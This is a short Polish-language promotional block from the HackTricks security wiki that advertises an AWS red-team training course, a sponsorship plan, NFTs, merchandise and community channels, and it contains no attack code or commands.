Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium [hacktricks](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.